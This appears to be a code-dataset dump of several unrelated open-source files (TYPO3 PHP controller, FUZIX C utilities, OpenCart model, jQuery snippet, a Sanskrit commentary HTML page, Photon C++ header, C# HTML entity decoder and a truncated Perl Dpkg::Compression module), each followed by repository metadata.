public function initializeView(ViewInterface $view)
{
$record = $this->getRecord();
$this->configurationManager->getContentObject()->data = $record;
parent::initializeView($view);
$this->response->addAdditionalHeaderData(
(string) $this->view->renderStandaloneSection(
'HeaderCode',
$this->provider->getTemplateVariables($record),
true
)
);
}
/**
* @throws \RuntimeException
* @return void
*/
protected function initializeProvider()
{
$this->provider = $this->pageConfigurationService->resolvePageProvider($this->getRecord());
}
/**
* @return string
*/
public function rawAction()
{
$record = $this->getRecord();
$templateFileReference = $record['tx_fluidpages_templatefile'];
$templatePathAndFilename = $this->pageConfigurationService->convertFileReferenceToTemplatePathAndFilename(
$templateFileReference
);
$paths = $this->pageConfigurationService->getViewConfigurationByFileReference($templateFileReference);
$this->provider->setTemplatePathAndFilename($templatePathAndFilename);
$this->view->setTemplatePathAndFilename($templatePathAndFilename);
$this->view->setTemplateRootPaths((array) $paths['templateRootPaths']);
$this->view->setPartialRootPaths((array) $paths['partialRootPaths']);
$this->view->setLayoutRootPaths((array) $paths['layoutRootPaths']);
}
/**
* @return array|null
*/
public function getRecord()
{
return $this->workspacesAwareRecordService->getSingle($this->fluxTableName, '*', $GLOBALS['TSFE']->id);
}
}
|
ahmedRguei/job
|
typo3conf/ext/fluidpages/Classes/Controller/PageController.php
|
PHP
|
gpl-2.0
| 3,313
|
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "fuzix_fs.h"
int dev_fd;
int dev_offset;
extern int swizzling;
int fd_open(char *name)
{
char *namecopy, *sd;
int bias = 0;
namecopy = strdup(name);
sd = index(namecopy, ':');
if (sd) {
*sd = 0;
sd++;
bias = atoi(sd);
}
printf("Opening %s (offset %d)\n", namecopy, bias);
dev_offset = bias;
dev_fd = open(namecopy, O_RDWR | O_CREAT, 0666);
free(namecopy);
if (dev_fd < 0)
return -1;
printf("fd=%d, dev_offset = %d\n", dev_fd, dev_offset);
return 0;
}
void panic(char *s)
{
fprintf(stderr, "panic: %s\n", s);
exit(1);
}
uint16_t swizzle16(uint32_t v)
{
int top = v & 0xFFFF0000UL;
if (top && top != 0xFFFF0000) {
fprintf(stderr, "swizzle16 given a 32bit input\n");
exit(1);
}
if (swizzling)
return (v & 0xFF) << 8 | ((v & 0xFF00) >> 8);
else
return v;
}
uint32_t swizzle32(uint32_t v)
{
if (!swizzling)
return v;
return (v & 0xFF) << 24 | (v & 0xFF00) << 8 | (v & 0xFF0000) >> 8 |
(v & 0xFF000000) >> 24;
}
|
DimkaM/FUZIX
|
Standalone/util.c
|
C
|
gpl-2.0
| 1,142
|
<?php
class ModelModuleWhathappen extends Model {
public function getWhatHappen($whathappen_limit) {
if ($whathappen_limit!=1){
$this->db->query("DELETE FROM " . DB_PREFIX . "whathappen WHERE id NOT IN (SELECT id FROM (SELECT id FROM " . DB_PREFIX . "whathappen ORDER BY date_added DESC LIMIT ".$whathappen_limit.") foo);");
}
$query = $this->db->query("SELECT * FROM " . DB_PREFIX . "whathappen ORDER BY id DESC LIMIT ".$whathappen_limit.";");
return $query->rows;
}
public function getLastID() {
$query = $this->db->query("SELECT id FROM " . DB_PREFIX . "whathappen ORDER BY id DESC LIMIT 1;");
$row=$query->row;
return $row['id'];
}
}
|
sabitertan/opencart-whathappens
|
upload/catalog/model/module/whathappen.php
|
PHP
|
gpl-2.0
| 660
|
jQuery(function( $ ){
// add js body class
$('body').addClass('js');
// find time for each entry and move it inside the image link
$('.home-middle article, .home-top article').each(function(){
var $time = $(this).find('.entry-time');
$(this).find('a.alignleft, a.alignnone, a.alignright').append($time);
});
});
|
Hungdqdev/daquyhomenh
|
wp-content/themes/magazine-pro/js/entry-date.js
|
JavaScript
|
gpl-2.0
| 354
|
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="assets/stylesheet-en.css" />
</head>
<body class="eng">
<div class='verse' id='BR_C01_S05_V08' type='mantra'>
<div class='versetext'>vijñātaṁ vijijñāsyamavijñātamēta ēva yatkiñca vijñātaṁ vācastadrūpaṁ vāgghi vijñātā vāgēnaṁ tadbhūtvāvati ॥ 8 ॥ </div>
<div class='bhashya' id='BR_C01_S05_V08_B01'>vijñātaṁ vijijñāsyam avijñātam ēta ēva ; tatra viśēṣaḥ yatkiñca vijñātaṁ vispaṣṭaṁ jñātaṁ vācastadrūpam ; tatra svayamēva hētumāha — vāk hi vijñātā, prakāśātmakatvāt ; kathamavijñātā bhavēt yā anyānapi vijñāpayati ; <span class='qt'><a href='Brha_id.html#BR_C04_S01_V02'>‘vācaiva samrāḍbandhuḥ prajñāyatē’ (br̥. u. 4 । 1 । 2)</a></span> iti hi vakṣyati । vāgviśēṣavida idaṁ phalamucyatē — vāgēva ēnaṁ yathōktavāgvibhūtividaṁ tat vijñātaṁ bhūtvā avati pālayati, vijñātarūpēṇaivāsyānnaṁ bhōjyatāṁ pratipadyata ityarthaḥ ॥ </div>
</div>
</body>
</html>
|
SrirangaDigital/shankara-android
|
app/src/main/assets/html/en/BR_C01_S05_V08.html
|
HTML
|
gpl-2.0
| 1,071
|
/* Exit Games Common - C++ Client Lib
* Copyright (C) 2004-2015 by Exit Games GmbH. All rights reserved.
* http://www.exitgames.com
* mailto:developer@exitgames.com
*/
#pragma once
#include "Common-cpp/inc/Helpers/ConfirmAllowedKey.h"
namespace ExitGames
{
namespace Common
{
/**
Container class template for objects to be stored as keys in a Hashtable or Dictionary.
@remarks
In most cases the library will do the work of storing a key in a KeyObject for you, so for example you don't have to explicitly
create an instance of this class, when storing a key-value pair in a Dictionary or Hashtable instance. However there are some
situations, where you will receive instances of class Object or want to create them (for example Hashtable::getKeys() will
return a JVector<Object>) and in that case casting those instances into KeyObject-instances can be a convenient way of assuring
a type-safe access to their payloads. */
template<typename Etype>
class KeyObject : public Object
{
public:
KeyObject(const KeyObject<Etype> &toCopy);
KeyObject(const Object& obj);
KeyObject(const Object* obj);
KeyObject(typename Helpers::ConfirmAllowedKey<Etype>::type data);
virtual ~KeyObject(void);
virtual KeyObject<Etype>& operator=(const KeyObject<Etype>& toCopy);
virtual KeyObject<Etype>& operator=(const Object& toCopy);
Etype getDataCopy(void) const;
Etype* getDataAddress(void) const;
protected:
virtual KeyObject<Etype>& assign(const Object& toCopy);
private:
typedef Object super;
void convert(const Object* obj, nByte type);
};
/** @file */
/**
Copy-Constructor.
Creates an object out of a deep copy of its parameter.
The parameter has to be of the same template overload as the
object, you want to create.
@param toCopy The object to copy. */
template<typename Etype>
KeyObject<Etype>::KeyObject(const KeyObject<Etype>& toCopy) : Object(toCopy)
{
}
/**
Constructor.
Creates an object out of a deep copy of the passed Object&.
If the type of the content of the passed object does not
match the template overload of the object to create, an empty
object is created instead of a copy of the passed object,
which leads to getDataCopy()
and getDataAddress() return
0.
@param obj The Object& to copy. */
template<typename Etype>
KeyObject<Etype>::KeyObject(const Object& obj)
{
convert(&obj, Helpers::ConfirmAllowedKey<Etype>::typeName);
}
/**
Constructor.
Creates an object out of a deep copy of the passed Object*.
If the type of the content of the passed object does not
match the template overload of the object to create, an empty
object is created instead of a copy of the passed object,
which leads to getDataCopy()
and getDataAddress() return
0.
@param obj The Object* to copy. */
template<typename Etype>
KeyObject<Etype>::KeyObject(const Object* const obj)
{
convert(obj, Helpers::ConfirmAllowedKey<Etype>::typeName);
}
/**
Constructor.
Creates an object out of a deep copy of the passed Etype.
@param data The value to copy. Has to be of a supported type. */
template<typename Etype>
KeyObject<Etype>::KeyObject(typename Helpers::ConfirmAllowedKey<Etype>::type data) : Object(&data, Helpers::ConfirmAllowedKey<Etype>::typeName, 0, true)
{
}
/**
Destructor. */
template<typename Etype>
KeyObject<Etype>::~KeyObject(void)
{
}
/**
operator= : Makes a deep copy of its right operand into its
left operand. This overwrites old data in the left operand. */
template<typename Etype>
KeyObject<Etype>& KeyObject<Etype>::operator=(const KeyObject<Etype>& toCopy)
{
return assign(toCopy);
}
/**
operator= : Makes a deep copy of its right operand into its
left operand. This overwrites old data in the left operand.
If the type of the content of the right operand does not
match the template overload of the left operand, then the left
operand stays unchanged. */
template<typename Etype>
KeyObject<Etype>& KeyObject<Etype>::operator=(const Object& toCopy)
{
return assign(toCopy);
}
template<typename Etype>
KeyObject<Etype>& KeyObject<Etype>::assign(const Object& toCopy)
{
if(Helpers::ConfirmAllowedKey<Etype>::typeName == toCopy.getType())
super::assign(toCopy);
return *this;
}
/**
Returns a deep copy of the content of the object. If you
only need access to the content, while the object still
exists, you can use getDataAddress()
instead to avoid the deep copy. That is especially
interesting for large content, of course.
If successful, the template overloads for array types of this
function allocate the data for the copy, so you have to free
(for arrays of primitive types) or delete (for arrays of
class objects) it, as soon, as you do not need the array
anymore. All non-array copies free there memory
automatically, as soon as they leave their scope, same as the
single indices of the array, as soon, as the array is freed.
In case of an error this function returns 0 for primitive
return types and empty objects for classes.
@returns
a deep copy of the content of the object if successful, 0 or
an empty object otherwise. */
template<typename Etype>
inline Etype KeyObject<Etype>::getDataCopy(void) const
{
if(getType() == Helpers::ConfirmAllowedKey<Etype>::typeName)
return *(Etype*)getData();
else
return Etype();
}
/**
Returns the address of the original content of the object.
If you need access to the data above lifetime of the object,
call getDataCopy().
The return type is a pointer to the data, so it is a
double-pointer, of course, for template overloads, which data
already is a pointer.
In case of an error, this function returns 0.
@returns
the address of the original content of the object, if
successful, 0 otherwise. */
template<typename Etype>
inline Etype* KeyObject<Etype>::getDataAddress(void) const
{
if(getType() == Helpers::ConfirmAllowedKey<Etype>::typeName)
return (Etype*)getData();
else
return 0;
}
template<typename Etype>
void KeyObject<Etype>::convert(const Object* const obj, nByte type)
{
super::assign((obj && type == obj->getType())?*obj:Object());
}
}
}
|
Serphimera/PhotonTutorial
|
Source/Photon/Common-cpp/inc/KeyObject.h
|
C
|
gpl-2.0
| 6,714
|
// "Therefore those skilled at the unorthodox
// are infinite as heaven and earth,
// inexhaustible as the great rivers.
// When they come to an end,
// they begin again,
// like the days and months;
// they die and are reborn,
// like the four seasons."
//
// - Sun Tsu,
// "The Art of War"
using System;
using System.Collections.Generic;
namespace Creek.UI.HTMLRenderer.Utils
{
internal static class HtmlUtils
{
#region Fields and Consts
/// <summary>
/// List of html tags that don't have content
/// </summary>
private static readonly List<string> _list = new List<string>(
new[]
{
"area", "base", "basefont", "br", "col",
"frame", "hr", "img", "input", "isindex",
"link", "meta", "param"
}
);
/// <summary>
/// the html encode\decode pairs
/// </summary>
private static readonly KeyValuePair<string, string>[] _encodeDecode = new[]
{
new KeyValuePair<string, string>(
"<", "<"),
new KeyValuePair<string, string>(
">", ">"),
new KeyValuePair<string, string>(
""", "\""),
new KeyValuePair<string, string>(
"&", "&"),
};
/// <summary>
/// the html decode only pairs
/// </summary>
private static readonly Dictionary<string, char> _decodeOnly =
new Dictionary<string, char>(StringComparer.InvariantCultureIgnoreCase);
#endregion
/// <summary>
/// Init.
/// </summary>
static HtmlUtils()
{
_decodeOnly["nbsp"] = ' ';
_decodeOnly["rdquo"] = '"';
_decodeOnly["lsquo"] = '\'';
_decodeOnly["apos"] = '\'';
// ISO 8859-1 Symbols
_decodeOnly["iexcl"] = Convert.ToChar(161);
_decodeOnly["cent"] = Convert.ToChar(162);
_decodeOnly["pound"] = Convert.ToChar(163);
_decodeOnly["curren"] = Convert.ToChar(164);
_decodeOnly["yen"] = Convert.ToChar(165);
_decodeOnly["brvbar"] = Convert.ToChar(166);
_decodeOnly["sect"] = Convert.ToChar(167);
_decodeOnly["uml"] = Convert.ToChar(168);
_decodeOnly["copy"] = Convert.ToChar(169);
_decodeOnly["ordf"] = Convert.ToChar(170);
_decodeOnly["laquo"] = Convert.ToChar(171);
_decodeOnly["not"] = Convert.ToChar(172);
_decodeOnly["shy"] = Convert.ToChar(173);
_decodeOnly["reg"] = Convert.ToChar(174);
_decodeOnly["macr"] = Convert.ToChar(175);
_decodeOnly["deg"] = Convert.ToChar(176);
_decodeOnly["plusmn"] = Convert.ToChar(177);
_decodeOnly["sup2"] = Convert.ToChar(178);
_decodeOnly["sup3"] = Convert.ToChar(179);
_decodeOnly["acute"] = Convert.ToChar(180);
_decodeOnly["micro"] = Convert.ToChar(181);
_decodeOnly["para"] = Convert.ToChar(182);
_decodeOnly["middot"] = Convert.ToChar(183);
_decodeOnly["cedil"] = Convert.ToChar(184);
_decodeOnly["sup1"] = Convert.ToChar(185);
_decodeOnly["ordm"] = Convert.ToChar(186);
_decodeOnly["raquo"] = Convert.ToChar(187);
_decodeOnly["frac14"] = Convert.ToChar(188);
_decodeOnly["frac12"] = Convert.ToChar(189);
_decodeOnly["frac34"] = Convert.ToChar(190);
_decodeOnly["iquest"] = Convert.ToChar(191);
_decodeOnly["times"] = Convert.ToChar(215);
_decodeOnly["divide"] = Convert.ToChar(247);
// ISO 8859-1 Characters
_decodeOnly["Agrave"] = Convert.ToChar(192);
_decodeOnly["Aacute"] = Convert.ToChar(193);
_decodeOnly["Acirc"] = Convert.ToChar(194);
_decodeOnly["Atilde"] = Convert.ToChar(195);
_decodeOnly["Auml"] = Convert.ToChar(196);
_decodeOnly["Aring"] = Convert.ToChar(197);
_decodeOnly["AElig"] = Convert.ToChar(198);
_decodeOnly["Ccedil"] = Convert.ToChar(199);
_decodeOnly["Egrave"] = Convert.ToChar(200);
_decodeOnly["Eacute"] = Convert.ToChar(201);
_decodeOnly["Ecirc"] = Convert.ToChar(202);
_decodeOnly["Euml"] = Convert.ToChar(203);
_decodeOnly["Igrave"] = Convert.ToChar(204);
_decodeOnly["Iacute"] = Convert.ToChar(205);
_decodeOnly["Icirc"] = Convert.ToChar(206);
_decodeOnly["Iuml"] = Convert.ToChar(207);
_decodeOnly["ETH"] = Convert.ToChar(208);
_decodeOnly["Ntilde"] = Convert.ToChar(209);
_decodeOnly["Ograve"] = Convert.ToChar(210);
_decodeOnly["Oacute"] = Convert.ToChar(211);
_decodeOnly["Ocirc"] = Convert.ToChar(212);
_decodeOnly["Otilde"] = Convert.ToChar(213);
_decodeOnly["Ouml"] = Convert.ToChar(214);
_decodeOnly["Oslash"] = Convert.ToChar(216);
_decodeOnly["Ugrave"] = Convert.ToChar(217);
_decodeOnly["Uacute"] = Convert.ToChar(218);
_decodeOnly["Ucirc"] = Convert.ToChar(219);
_decodeOnly["Uuml"] = Convert.ToChar(220);
_decodeOnly["Yacute"] = Convert.ToChar(221);
_decodeOnly["THORN"] = Convert.ToChar(222);
_decodeOnly["szlig"] = Convert.ToChar(223);
_decodeOnly["agrave"] = Convert.ToChar(224);
_decodeOnly["aacute"] = Convert.ToChar(225);
_decodeOnly["acirc"] = Convert.ToChar(226);
_decodeOnly["atilde"] = Convert.ToChar(227);
_decodeOnly["auml"] = Convert.ToChar(228);
_decodeOnly["aring"] = Convert.ToChar(229);
_decodeOnly["aelig"] = Convert.ToChar(230);
_decodeOnly["ccedil"] = Convert.ToChar(231);
_decodeOnly["egrave"] = Convert.ToChar(232);
_decodeOnly["eacute"] = Convert.ToChar(233);
_decodeOnly["ecirc"] = Convert.ToChar(234);
_decodeOnly["euml"] = Convert.ToChar(235);
_decodeOnly["igrave"] = Convert.ToChar(236);
_decodeOnly["iacute"] = Convert.ToChar(237);
_decodeOnly["icirc"] = Convert.ToChar(238);
_decodeOnly["iuml"] = Convert.ToChar(239);
_decodeOnly["eth"] = Convert.ToChar(240);
_decodeOnly["ntilde"] = Convert.ToChar(241);
_decodeOnly["ograve"] = Convert.ToChar(242);
_decodeOnly["oacute"] = Convert.ToChar(243);
_decodeOnly["ocirc"] = Convert.ToChar(244);
_decodeOnly["otilde"] = Convert.ToChar(245);
_decodeOnly["ouml"] = Convert.ToChar(246);
_decodeOnly["oslash"] = Convert.ToChar(248);
_decodeOnly["ugrave"] = Convert.ToChar(249);
_decodeOnly["uacute"] = Convert.ToChar(250);
_decodeOnly["ucirc"] = Convert.ToChar(251);
_decodeOnly["uuml"] = Convert.ToChar(252);
_decodeOnly["yacute"] = Convert.ToChar(253);
_decodeOnly["thorn"] = Convert.ToChar(254);
_decodeOnly["yuml"] = Convert.ToChar(255);
// Math Symbols Supported by HTML
_decodeOnly["forall"] = Convert.ToChar(8704);
_decodeOnly["part"] = Convert.ToChar(8706);
_decodeOnly["exist"] = Convert.ToChar(8707);
_decodeOnly["empty"] = Convert.ToChar(8709);
_decodeOnly["nabla"] = Convert.ToChar(8711);
_decodeOnly["isin"] = Convert.ToChar(8712);
_decodeOnly["notin"] = Convert.ToChar(8713);
_decodeOnly["ni"] = Convert.ToChar(8715);
_decodeOnly["prod"] = Convert.ToChar(8719);
_decodeOnly["sum"] = Convert.ToChar(8721);
_decodeOnly["minus"] = Convert.ToChar(8722);
_decodeOnly["lowast"] = Convert.ToChar(8727);
_decodeOnly["radic"] = Convert.ToChar(8730);
_decodeOnly["prop"] = Convert.ToChar(8733);
_decodeOnly["infin"] = Convert.ToChar(8734);
_decodeOnly["ang"] = Convert.ToChar(8736);
_decodeOnly["and"] = Convert.ToChar(8743);
_decodeOnly["or"] = Convert.ToChar(8744);
_decodeOnly["cap"] = Convert.ToChar(8745);
_decodeOnly["cup"] = Convert.ToChar(8746);
_decodeOnly["int"] = Convert.ToChar(8747);
_decodeOnly["there4"] = Convert.ToChar(8756);
_decodeOnly["sim"] = Convert.ToChar(8764);
_decodeOnly["cong"] = Convert.ToChar(8773);
_decodeOnly["asymp"] = Convert.ToChar(8776);
_decodeOnly["ne"] = Convert.ToChar(8800);
_decodeOnly["equiv"] = Convert.ToChar(8801);
_decodeOnly["le"] = Convert.ToChar(8804);
_decodeOnly["ge"] = Convert.ToChar(8805);
_decodeOnly["sub"] = Convert.ToChar(8834);
_decodeOnly["sup"] = Convert.ToChar(8835);
_decodeOnly["nsub"] = Convert.ToChar(8836);
_decodeOnly["sube"] = Convert.ToChar(8838);
_decodeOnly["supe"] = Convert.ToChar(8839);
_decodeOnly["oplus"] = Convert.ToChar(8853);
_decodeOnly["otimes"] = Convert.ToChar(8855);
_decodeOnly["perp"] = Convert.ToChar(8869);
_decodeOnly["sdot"] = Convert.ToChar(8901);
// Greek Letters Supported by HTML
_decodeOnly["Alpha"] = Convert.ToChar(913);
_decodeOnly["Beta"] = Convert.ToChar(914);
_decodeOnly["Gamma"] = Convert.ToChar(915);
_decodeOnly["Delta"] = Convert.ToChar(916);
_decodeOnly["Epsilon"] = Convert.ToChar(917);
_decodeOnly["Zeta"] = Convert.ToChar(918);
_decodeOnly["Eta"] = Convert.ToChar(919);
_decodeOnly["Theta"] = Convert.ToChar(920);
_decodeOnly["Iota"] = Convert.ToChar(921);
_decodeOnly["Kappa"] = Convert.ToChar(922);
_decodeOnly["Lambda"] = Convert.ToChar(923);
_decodeOnly["Mu"] = Convert.ToChar(924);
_decodeOnly["Nu"] = Convert.ToChar(925);
_decodeOnly["Xi"] = Convert.ToChar(926);
_decodeOnly["Omicron"] = Convert.ToChar(927);
_decodeOnly["Pi"] = Convert.ToChar(928);
_decodeOnly["Rho"] = Convert.ToChar(929);
_decodeOnly["Sigma"] = Convert.ToChar(931);
_decodeOnly["Tau"] = Convert.ToChar(932);
_decodeOnly["Upsilon"] = Convert.ToChar(933);
_decodeOnly["Phi"] = Convert.ToChar(934);
_decodeOnly["Chi"] = Convert.ToChar(935);
_decodeOnly["Psi"] = Convert.ToChar(936);
_decodeOnly["Omega"] = Convert.ToChar(937);
_decodeOnly["alpha"] = Convert.ToChar(945);
_decodeOnly["beta"] = Convert.ToChar(946);
_decodeOnly["gamma"] = Convert.ToChar(947);
_decodeOnly["delta"] = Convert.ToChar(948);
_decodeOnly["epsilon"] = Convert.ToChar(949);
_decodeOnly["zeta"] = Convert.ToChar(950);
_decodeOnly["eta"] = Convert.ToChar(951);
_decodeOnly["theta"] = Convert.ToChar(952);
_decodeOnly["iota"] = Convert.ToChar(953);
_decodeOnly["kappa"] = Convert.ToChar(954);
_decodeOnly["lambda"] = Convert.ToChar(955);
_decodeOnly["mu"] = Convert.ToChar(956);
_decodeOnly["nu"] = Convert.ToChar(957);
_decodeOnly["xi"] = Convert.ToChar(958);
_decodeOnly["omicron"] = Convert.ToChar(959);
_decodeOnly["pi"] = Convert.ToChar(960);
_decodeOnly["rho"] = Convert.ToChar(961);
_decodeOnly["sigmaf"] = Convert.ToChar(962);
_decodeOnly["sigma"] = Convert.ToChar(963);
_decodeOnly["tau"] = Convert.ToChar(964);
_decodeOnly["upsilon"] = Convert.ToChar(965);
_decodeOnly["phi"] = Convert.ToChar(966);
_decodeOnly["chi"] = Convert.ToChar(967);
_decodeOnly["psi"] = Convert.ToChar(968);
_decodeOnly["omega"] = Convert.ToChar(969);
_decodeOnly["thetasym"] = Convert.ToChar(977);
_decodeOnly["upsih"] = Convert.ToChar(978);
_decodeOnly["piv"] = Convert.ToChar(982);
// Other Entities Supported by HTML
_decodeOnly["OElig"] = Convert.ToChar(338);
_decodeOnly["oelig"] = Convert.ToChar(339);
_decodeOnly["Scaron"] = Convert.ToChar(352);
_decodeOnly["scaron"] = Convert.ToChar(353);
_decodeOnly["Yuml"] = Convert.ToChar(376);
_decodeOnly["fnof"] = Convert.ToChar(402);
_decodeOnly["circ"] = Convert.ToChar(710);
_decodeOnly["tilde"] = Convert.ToChar(732);
_decodeOnly["ndash"] = Convert.ToChar(8211);
_decodeOnly["mdash"] = Convert.ToChar(8212);
_decodeOnly["lsquo"] = Convert.ToChar(8216);
_decodeOnly["rsquo"] = Convert.ToChar(8217);
_decodeOnly["sbquo"] = Convert.ToChar(8218);
_decodeOnly["ldquo"] = Convert.ToChar(8220);
_decodeOnly["rdquo"] = Convert.ToChar(8221);
_decodeOnly["bdquo"] = Convert.ToChar(8222);
_decodeOnly["dagger"] = Convert.ToChar(8224);
_decodeOnly["Dagger"] = Convert.ToChar(8225);
_decodeOnly["bull"] = Convert.ToChar(8226);
_decodeOnly["hellip"] = Convert.ToChar(8230);
_decodeOnly["permil"] = Convert.ToChar(8240);
_decodeOnly["prime"] = Convert.ToChar(8242);
_decodeOnly["Prime"] = Convert.ToChar(8243);
_decodeOnly["lsaquo"] = Convert.ToChar(8249);
_decodeOnly["rsaquo"] = Convert.ToChar(8250);
_decodeOnly["oline"] = Convert.ToChar(8254);
_decodeOnly["euro"] = Convert.ToChar(8364);
_decodeOnly["trade"] = Convert.ToChar(153);
_decodeOnly["larr"] = Convert.ToChar(8592);
_decodeOnly["uarr"] = Convert.ToChar(8593);
_decodeOnly["rarr"] = Convert.ToChar(8594);
_decodeOnly["darr"] = Convert.ToChar(8595);
_decodeOnly["harr"] = Convert.ToChar(8596);
_decodeOnly["crarr"] = Convert.ToChar(8629);
_decodeOnly["lceil"] = Convert.ToChar(8968);
_decodeOnly["rceil"] = Convert.ToChar(8969);
_decodeOnly["lfloor"] = Convert.ToChar(8970);
_decodeOnly["rfloor"] = Convert.ToChar(8971);
_decodeOnly["loz"] = Convert.ToChar(9674);
_decodeOnly["spades"] = Convert.ToChar(9824);
_decodeOnly["clubs"] = Convert.ToChar(9827);
_decodeOnly["hearts"] = Convert.ToChar(9829);
_decodeOnly["diams"] = Convert.ToChar(9830);
}
/// <summary>
/// Is the given html tag is single tag or can have content.
/// </summary>
/// <param name="tagName">the tag to check (must be lower case)</param>
/// <returns>true - is single tag, false - otherwise</returns>
public static bool IsSingleTag(string tagName)
{
return _list.Contains(tagName);
}
/// <summary>
/// Decode html encoded string to regular string.<br/>
/// Handles <, >, "&.
/// </summary>
/// <param name="str">the string to decode</param>
/// <returns>decoded string</returns>
public static string DecodeHtml(string str)
{
if (!string.IsNullOrEmpty(str))
{
str = DecodeHtmlCharByCode(str);
str = DecodeHtmlCharByName(str);
foreach (var encPair in _encodeDecode)
{
str = str.Replace(encPair.Key, encPair.Value);
}
}
return str;
}
/// <summary>
/// Encode regular string into html encoded string.<br/>
/// Handles <, >, "&.
/// </summary>
/// <param name="str">the string to encode</param>
/// <returns>encoded string</returns>
public static string EncodeHtml(string str)
{
if (!string.IsNullOrEmpty(str))
{
for (int i = _encodeDecode.Length - 1; i >= 0; i--)
{
str = str.Replace(_encodeDecode[i].Value, _encodeDecode[i].Key);
}
}
return str;
}
#region Private methods
/// <summary>
/// Decode html special charecters encoded using char entity code (€)
/// </summary>
/// <param name="str">the string to decode</param>
/// <returns>decoded string</returns>
private static string DecodeHtmlCharByCode(string str)
{
int idx = str.IndexOf("&#", StringComparison.OrdinalIgnoreCase);
while (idx > -1)
{
bool hex = str.Length > idx + 3 && char.ToLower(str[idx + 2]) == 'x';
int endIdx = idx + 2 + (hex ? 1 : 0);
long num = 0;
while (endIdx < str.Length && CommonUtils.IsDigit(str[endIdx], hex))
num = num*(hex ? 16 : 10) + CommonUtils.ToDigit(str[endIdx++], hex);
endIdx += (endIdx < str.Length && str[endIdx] == ';') ? 1 : 0;
str = str.Remove(idx, endIdx - idx);
str = str.Insert(idx, Convert.ToChar(num).ToString());
idx = str.IndexOf("&#", idx + 1);
}
return str;
}
/// <summary>
/// Decode html special charecters encoded using char entity name (&#euro;)
/// </summary>
/// <param name="str">the string to decode</param>
/// <returns>decoded string</returns>
private static string DecodeHtmlCharByName(string str)
{
int idx = str.IndexOf('&');
while (idx > -1)
{
int endIdx = str.IndexOf(';', idx);
if (endIdx > -1 && endIdx - idx < 8)
{
string key = str.Substring(idx + 1, endIdx - idx - 1);
char c;
if (_decodeOnly.TryGetValue(key, out c))
{
str = str.Remove(idx, endIdx - idx + 1);
str = str.Insert(idx, c.ToString());
}
}
idx = str.IndexOf('&', idx + 1);
}
return str;
}
#endregion
}
}
|
furesoft/Creek
|
Creek.UI/HTMLRenderer/Utils/HtmlUtils.cs
|
C#
|
gpl-2.0
| 19,414
|
# Copyright © 2010 Raphaël Hertzog <hertzog@debian.org>
# Copyright © 2010-2013 Guillem Jover <guillem@debian.org>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
package Dpkg::Compression;
use strict;
use warnings;
our $VERSION = '1.02';
use Dpkg::ErrorHandling;
use Dpkg::Gettext;
use Exporter qw(import);
our @EXPORT = qw($compression_re_file_ext compression_get_list
compression_is_supported compression_get_property
compression_guess_from_filename
compression_get_file_extension_regex
compression_get_default compression_set_default
compression_get_default_level
compression_set_default_level
compression_is_valid_level);
=encoding utf8
=head1 NAME
Dpkg::Compression - simple database of available compression methods
=head1 DESCRIPTION
This modules provides a few public funcions and a public regex to
interact with the set of supported compression methods.
=cut
my $COMP = {
gzip => {
file_ext => 'gz',
comp_prog => [ 'gzip', '--no-name', '--rsyncable' ],
decomp_prog => [ 'gunzip' ],
default_level => 9,
},
bzip2 => {
file_ext => 'bz2',
comp_prog => [ 'bzip2' ],
decomp_prog => [ 'bunzip2' ],
default_level => 9,
},
lzma => {
file_ext => 'lzma',
comp_prog => [ 'xz', '--format=lzma' ],
decomp_prog => [ 'unxz', '--format=lzma' ],
default_level => 6,
},
xz => {
file_ext => 'xz',
comp_prog => [ 'xz' ],
decomp_prog => [ 'unxz' ],
default_level => 6,
},
};
# XXX: Backwards compatibility, stop exporting on VERSION 2.00.
## no critic (Variables::ProhibitPackageVars)
our $default_compression = 'xz';
our $default_compression_level = undef;
my $regex = join '|', map { $_->{file_ext} } values %$COMP;
our $compression_re_file_ext = qr/(?:$regex)/;
## use critic
=head1 EXPORTED FUNCTIONS
=over 4
=item my @list = compression_get_list()
Returns a list of supported compression methods (sorted alphabetically).
=cut
sub compression_get_list {
my @list = sort keys %$COMP;
return @list;
}
=item compression_is_supported($comp)
Returns a boolean indicating whether the give compression method is
known and supported.
=cut
sub compression_is_supported {
return exists $COMP->{$_[0]};
}
=item compression_get_property($comp, $property)
Returns the requested property of the compression method. Returns undef if
either the property or the compression method doesn't exist. Valid
properties currently include "file_ext" for the file extension,
"default_level" for the default compression level,
"comp_prog" for the name of the compression program and "decomp_prog" for
the name of the decompression program.
=cut
sub compression_get_property {
my ($comp, $property) = @_;
return unless compression_is_supported($comp);
return $COMP->{$comp}{$property} if exists $COMP->{$comp}{$property};
return;
}
=item compression_guess_from_filename($filename)
Returns the compression method that is likely used on the indicated
filename based on its file extension.
=cut
sub compression_guess_from_filename {
my $filename = shift;
foreach my $comp (compression_get_list()) {
my $ext = compression_get_property($comp, 'file_ext');
if ($filename =~ /^(.*)\.\Q$ext\E$/) {
return $comp;
}
}
return;
}
=item my $regex = compression_get_file_extension_regex()
Returns a regex that matches a file extension of a file compressed with
one of the supported compression methods.
=cut
sub compression_get_file_extension_regex {
return $compression_re_file_ext;
}
=item my $comp = compression_get_default()
Return the default compression method. It's "gzip" unless
C<compression_set_default> has been used to change it.
=item compression_set_default($comp)
Change the default compression method. Errors out if the
given compression method is not supported.
=cut
sub compression_get_default {
return $default_compression;
}
sub compression_set_default {
my ($method) = @_;
error(_g('%s is not a supported compression'), $method)
unless compression_is_supported($method);
$default_compression = $method;
}
=item my $level = compression_get_default_level()
Return the default compression level used when compressing data. It's "9"
for "gzip" and "bzip2", "6" for "xz" and "lzma", unless
C<compression_set_default_level> has been used to change it.
=item compression_set_default_level($level)
Change the default compression level. Passing undef as the level will
reset it to the compressor specific default, otherwise errors out if the
level is not valid (see C<compression_is_valid_level>).
=cut
sub compression_get_default_level {
if (defined $default_compression_level) {
return $default_compression_level;
} else {
return compression_get_property($default_compression, 'default_level');
}
}
sub compression_set_default_level {
my ($level) = @_;
error(_g('%s is not a compression level'), $level)
